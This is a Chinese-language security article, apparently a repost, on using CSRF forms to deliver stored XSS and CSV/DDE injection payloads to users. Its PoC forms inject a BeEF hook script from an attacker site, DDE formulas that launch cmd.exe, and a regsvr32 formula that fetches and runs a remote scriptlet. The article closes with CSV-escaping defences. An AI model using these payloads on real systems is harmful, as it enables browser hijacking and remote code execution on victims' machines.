攻击者利用CSRF新功能分发payload到终端用户

Posted 嘶吼专业版

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻击者利用CSRF新功能分发payload到终端用户相关的知识,希望对你有一定的参考价值。

攻击者利用CSRF新功能分发payload到终端用户

CSRF

OWASP对CSRF(跨站请求伪造)的定义为:

攻击者利用CSRF新功能分发payload到终端用户

一个跨站请求伪造攻击迫使登录用户的浏览器将伪造的HTTP请求,包括该用户的会话cookie和其他认证信息,发送一个存在漏洞的web应用程序。这即允许攻击者迫使用户浏览器向存在漏洞的应用程序发送请求,并且这些请求会被应用程序认为是用户的合法请求。

攻击者利用CSRF新功能分发payload到终端用户

攻击者利用CSRF新功能分发payload到终端用户

CSRF曾在2007年、2010年、2013年三次入围OWASP TOP10。因为越来越多的框架提供了secure by default的设定和一些形式的保护,这也就是说CSRF不再是一个问题。这也就是2017版的CSRF不再出现在OWASP TOP10的原因。

研究人员发现,可以利用CSRF来传播大量的payload到终端用户。攻击者常用的CSRF传播的payload是:

· Persistent Cross Site Scripting (XSS)

· CSV Injection (CSVi)

· CSV Injection to Reflected Cross Site Scripting (XSS)

攻击者利用CSRF新功能分发payload到终端用户

CSRF Payload传播

研究人员发现可以通过一个简单的CSRF PoC来传播所有类型的payload,因为大多数社会工程场景中的CSRF是一样的。下面是一个登入的win form:

攻击者利用CSRF新功能分发payload到终端用户

基本的页面代码如下:

<html>

  <body>

  <br>

  <input></input>

  <script>history.pushState('', '', '/')</script>

  <form action="https://targetApp" method="POST">

      <input type="hidden" name="reg_email__" value="attacker@attacker.com" />

      <input type="hidden" name="firstname" value="a" />

      <input type="hidden" name="lastname" value="a" />

      <input type="submit" value="Enter Competition" />

    </form>

  </body>

</html>

为了解释请求,第一部分的H1和input并没有什么用处,真实的payload是隐藏在input表单中。这也是CSRF发生的地方,攻击者可以让这些值有意义。攻击者可以利用浙西payload的传播来设定payload的值。在XSS设定的例子中,会在域名内弹出一个告警框。

但是这个值可以是任何值,在更加恶意的环境中,攻击者可以利用浏览器利用框架来hook受害者的浏览器。这样的恶意表单示例如下:

<html>

  <body>

  <br>

  <input></input>

  <script>history.pushState('', '', '/')</script>

  <form action="https://targetApp" method="POST">

      <input type="hidden" name="reg_email__" value="attacker@attacker.com" />

      <input type="hidden" name="firstname" value="<script src='https://attackersite/beef.js'></script>" />

      <input type="hidden" name="lastname" value="a" />

      <input type="submit" value="Enter Competition" />

    </form>

  </body>

</html>

Payload被注入到firstname域中,表单会通过请求提交的方式传递到攻击者的服务器,然后受害者的服务器就会用JS脚本钩住用于下一步的利用。根据应用的功能,攻击者payload会传递持久性和反射性的XSS脚本。

攻击者利用CSRF新功能分发payload到终端用户

CSV/DDE注入

与XSS payload传播类似,其他的payload值也可以通过域传播、在下面的例子中,攻击者可以通过CSRF控制两个表单中的数据。

<html>

  <body>

  <br>

  <input></input>

  <script>history.pushState('', '', '/')</script>

  <form action="https://targetApp" method="POST">

      <input type="hidden" name="reg_email__" value="attacker@attacker.com" />

      <input type="hidden" name="firstname" value="=cmd|'/c calc'!A0" />

      <input type="hidden" name="lastname" value="a" />

      <input type="submit" value="Enter Competition" />

    </form>

  </body>

</html>

许多人将Excel上的攻击归因为没有对字符串进行处理,应用可以采取一些措施来让一些人的名字不能是=cmd|'/c calc'!A0。与CSV注入类似,其他攻击包含DDE注入都是同样的攻击路径,首先注入任意字符到这些域中,然后输出并执行。比如cmd!”/c notepad”!A0 {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } 会加载一个DDE payload到CSV或xls文件中。

计算器也被用于非恶意的payload来证明攻击者可以随后将它发展成为武器,使用一些DDL注册或许是一个好办法:

=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://attackersite/SCTLauncher.sct pewpew.dll'!A0”

一些用户可能看到CMD.EXE 或SHELL.EXE请求运行会有所怀疑,然后不点击。CMD.EXE 或SHELL.EXE可能有恶意的标记。所以,MSEXCEL.EXE这样的弹窗就会比CMD.EXE或SHELL.EXE更加可信。

只要改变一些CSV注入的payload,攻击者就可以通过CSRF将其CSV注入,然后变成一种反射性XSS。

通过使用=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c start http://targetapp.cxm/?vuln='!” 这样的payload,攻击者可以传播一个XSS payload,回到这个CSRF的例子中:

<html>

  <body>

  <br>

  <input></input>

  <script>history.pushState('', '', '/')</script>

  <form action="https://targetApp" method="POST">

      <input type="hidden" name="reg_email__" value="attacker@attacker.com" />

      <input type="hidden" name="firstname" value="=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c start http://targetapp.cxm/?vuln=<script>alert(1)</script>'!”" />

      <input type="hidden" name="lastname" value="a" />

      <input type="submit" value="Enter Competition" />

    </form>

  </body>

</html>

CSRF并非是一种新的payload方法,但2018年仍然是存在的。许多不同的攻击方式都是通过CSRF来提供一些帮助的。

攻击者利用CSRF新功能分发payload到终端用户

POC

CSV注入payload

Python

    def escape(payload):

         if payload[0] in ('@','+','-', '=', '|', '%'):

                 payload = payload.replace("|", "\|")

                 payload = "'" + payload + "'"

         return payload

php

public static function escape_csv( $payload ) {

$triggers = array( '=', '+', '-', '@', '|', '%');


if ( in_array( mb_substr( $payload, 0, 1 ), $triggers, true ) ) {

$payload = "'" . $payload . "'";

}

return $payload;

}

以上是关于攻击者利用CSRF新功能分发payload到终端用户的主要内容,如果未能解决你的问题,请参考以下文章

利用Metasploit攻击Android

CSRF漏洞笔记

Web安全测试系列---跨站请求伪造(CSRF)

带你分析CSRF攻击技术场景

技术分享CSRF 攻击场景分析与重现学习

CSRF(跨站请求伪造)